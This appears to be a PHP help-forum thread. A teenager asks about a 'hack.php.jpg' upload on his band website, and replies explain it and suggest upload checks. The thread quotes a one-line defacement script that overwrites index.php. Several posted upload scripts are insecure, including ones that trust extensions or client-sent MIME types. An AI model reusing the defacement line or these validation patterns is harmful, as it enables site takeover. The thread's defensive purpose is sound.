I have a file uploading thing on my website. It is supposed to take only image files, but the following php script was uploaded to the folder with a name of "hack.php.jpg".

<? $fp=fopen("../../../index.php", "w"); fputs($fp, "Hacked by DaRk_MaRe contact:hackteam_4@hotmail.com" ) ?>

What does this do? Should I worry? How can I prevent people from uploading files that are not pictures but still have an image extention? Thanks in advance.

    trevorsg:

    I think you better start by reading or re-reading the section on SECURITY in the PHP manual. Then maybe you should get another book or two about internet security and read them.

    You need to create a function that will check the file extensions and not let any executable files be uploaded to your site.

    The file you listed ("hack.php.jpg") isn't a jpg image file, it is a php file with .jpg added to it. If you had a function that checked for everything after the (.) and only allowed .jpg, .png, .gif, etc. then there is no way this file could have been uploaded.

    Also, you need to have your server set so that it won't execute files.

    Do a Google search on Internet Security or IIS Security or Apache Security or whatever and learn a little about this stuff.

    Just be thankful that this is not an e-Commerce site where you stored a lot of credit card numbers and personal information.

    It is kind of easy to see why people have concerns about doing transactions over the Internet when sites like yours exist.

    There is a lot more to creating a Web site then writing a few lines of PHP code.

    Good Luck

      What it does is opens the index.php file for writing. It then truncates the file to zero length, and writes "Hacked by DaRk_MaRe
      contact: hackteam_4@hotmail.com"
      as the contents of the file. This way, when people visit your site, it sees that. And if you don't catch it, and you fix your index.php file, and someone views that jpg again, you get "hacked" again.

      Definately read the security section. And if you need help securing your code, ask around in here. I'm sure there are plenty of "experts" to help you secure your code, or step you in the right direction.

        lucky for you that "hack" wasnt a destructive one.

        but as AIS4U said you should read more up on security in the manual.
        also heres a article http://www.sitepoint.com/article/php-security-blunders
        thats worth reading.

        you must always validate users input.

        heres a simple file validation function i just wrote

        
        <?
        
        $filename = $_FILES['userfile']['name'];
        
        //File Validation.
        
        $valid_filename = 
                 preg_match('/^[A-z0-9_\-]+([.][A-z0-9_\-]+)+[A-z]{2,4}$/',$filename);
        
        if ($valid_filename)
        {
        	$type= $_POST['type'];
        	$file_info = pathinfo($filename);
        
        	//Valid image infomation.
        	$image_mime_types = array(
        		"image/gif","image/png","image/tiff",
        		"image/bmp","image/jpeg","application/x-shockwave-flash",
        		"application/octet-stream","image/photoshop","image/tiff",
        		"image/tif");
        
        	$image_extensions =  
                    array("gif","png","tiff","jpeg","jpg","bmp","swf","psd");
        
        
        	if (in_array(strtolower($file_info['extension']),$image_extensions) && 
                        in_array($_FILES['userfile']['type'],$image_mime_types))
        	{
        		echo 'its a valid image!';
        	}
        	else
        	{
        		echo 'invalid image type.';
        		}
        
        }
        ?>
        that may help you.
        

          Always check the MIME type of what's being uploaded and only accept a few set MIME types as show in the theworks's example. Always validate user input, no matter if it is text or uploaded files.

            Wow. I am overwhelmed by the responses, and I thank everyone for them. My website is for my high school band. I am 16, and the whole "operation" is on my shoulders. I just added the upload pictures feature with the help of the PHPBuilder community (I am a very new player in PHP coding), but I guess I didn't think about anyone wanting to hack the site... after all, it's just a small website that is only useful to the band members, so why anyone would attempt to hack it is beyond me. But, nevertheless, I need to look into this. I will post my file uploading PHP script soon.

              Ok; here is my upload script

              <?php //upload.php -- upload the files selected, and make sure they are pictures.
              
              
              $dir = 'uploadpics/'; //upload directory
              $num = $_POST['num'];
              $messages = array(); //message array
              
              
              for ($x = 1; $x <= $num; $x++) { //start loop for each file uploaded
                 	$file = $_FILES['file' . $x];
              	$ext = substr(trim($file['name']), -4 ); //get the extension
              
              if (!is_uploaded_file($file['tmp_name'])) { //make sure a file is selected
              	$messages[$x] = 'File ' . $x . ': No file selected.'; //output error message
              	continue; //continue with loop
              }
              elseif ($ext != '.jpg' && $ext != '.JPG' && $ext != '.png' &&
                      $ext != '.PNG' && $ext != '.gif' && $ext != '.GIF' &&
                      $ext != 'jpeg' && $ext != 'JPEG' ) { //check extention and make sure the file is (not) a picture
              	$messages[$x] = 'File ' . $x . ': Bad file type. ' . //give error message
                                  'Please use only gif, png, jpg, or jpeg files.';
              	continue; //continue with loop
              } 	
              elseif (!move_uploaded_file($file['tmp_name'], $dir . $file['name'])) { //make sure the file is uploaded
              	$messages[$x] = 'File ' . $x . ': Unable to move file.'; //if not, display error
              	continue;
              } else {
              	$messages[$x] = 'File ' . $x . ': Uploaded...'; //if everything is fine, upload and display message
              }
              
              
              }
              
              foreach ($messages as $msg) {
                  echo $msg . '<br />'; //create a new line after every output message
              } 
              ?>
              

              I'm pretty sure I need to use the explode() function instead of the trim() function so I can get the extention after the first period. Can someone show me how to do this? Thanks.

                Or you can use [man]pathinfo/man to get all that info into an array... like Installer suggested....

                No, no point

                There is an edit button for a reason............................................
                It's in the bottom right corner of your post....

                  Ok, I knew about the edit button but... so anyway... I didn't use it. The world is going to end.

                  What does pathinfo() do?

                  ...

                  Ok... fine, I'll look at the documentation 🙂

                  Looks at documentation

                  so this pathinfo() will work correctly if I do:

                  <?php
                  $path_ext = pathinfo($file);
                  $ext = $path_ext['extention'];
                  if ($ext != jpg && $ext != png //...continue...)
                  ?> 
                  

                  ??

                  edit: I used the edit button 🙂

                    trevorsg wrote:

                    Ok, I knew about the edit button

                    If you know about it, why not use it? It's like having the PHP manual searchable online and not using it.... wait... hmmm......

                    The manual pretty plainly explains it. Any other questions?

                      Maybe I don't use the edit button because people don't notice that a post has been edited; it does not move to the bottom of the list, and I don't believe it bumps to the top of the topic list.

                        No, but I hadn't posted yet... And you can tell who is viewing the topic. And so what, if you edit and I notice you edited it after I posted, I'd go back and edit mine... that's teh point of it..

                        It also helps reduce the double posting, which is unnecessary, especially since you posted within 5 minutes of each. It's not necessary, and can create rather lengthy topics which are only necessitated because "mabye" someone won't see I edited my post.

                          When you compare, make sure strings are enclosed in quotes (either single or double)....

                            Oh... thanks. I told you I was new at PHP!

                              Err, have I missed something? Shouldn't be onus be on checking if the image is actually and image not a file that says it's an image.

                              A malicious user can still execute a script regardless of what it's extension is, and why would you want to restrict the poor user how happens to want to upload legitimate files that have more then one dot in them?

                              Two ways of solving this problem, both pretty simple:

                              a) check the MIME type it comes in the $_FILES array when it is received by the server
                              b) use the getimagesize() function, it doesn't need GD and will return false if it isn't an image. Just suppress the error with an @ infront of the function.

                              if(strstr($_FILES['file']['type'],'image') && @getimagesize($_FILES['userfile']['tmp_name'])) {
                                move_uploaded_file($_FILES['userfile']['tmp_name'],$destination);
                              } else {
                                print "Ah ha ha, I have prevented your futile attempt to hack my website, now go away and join the rest of your quad, your daily deliveries of zit cream is preventing them from entering the dorm and the resident cat has gotten itself stuck in your retainer.";
                              }
                              

                                Hello.

                                I've been reading this post and realised I'd need to follow the advise given. Although, in my case, only my specific set of users can upload files to send as email and after the email goes , it gets deleted from the folder.
                                I also have legit. files that get emailed like for example : machine.model.xls or machine.drawg.jpg.

                                Marque wrote about checking Mime type in the Files Array - pardon me but I dont know where in my code I can put this ?

                                Foll. is the snippet of code that is used to upload. Would someone be kind enough to guide what/where I should modify?

                                Thanks.

                                
                                <? include("protect.php"); ?> // this is the 1st line of the php file and contains db info.. I dont have any <head></head> in this file at all.
                                
                                
                                
                                if(!($_FILES["userfile"]["name"]=="")) 
                                {
                                	$uploaddir="./send_email/";
                                	//copy the file to some permanent location 
                                
                                if (move_uploaded_file($_FILES["userfile"]["tmp_name"], $uploaddir.$_FILES["userfile"]["name"])) 
                                {
                                echo("<p>File uploaded<p><p>");
                                } 
                                else 
                                {
                                echo ("<p>Error in uploading file! Please try again.<br>");
                                if($_FILES['userfile']['error']==1) echo "<font color=red>Error: File size exceeds maximum permissible limit of 2MB</font><p><p>";
                                }
                                }

                                  Right after this:

                                  if(!($_FILES["userfile"]["name"]==""))
                                  { 

                                  Check the mime-type there....

                                    That "hack" supposedly overwrites your index.php with his signature.

                                    Unless you erase the .jpg extension manually and call it from your browser, it shouldn't even execute it since there is no way to call that file with .php anyway.

                                    If you set your index.php file's permission to unwritable, you won't even have to worry about the overwrite.

                                    Or just follow the mime type uploads that everyone has suggested already.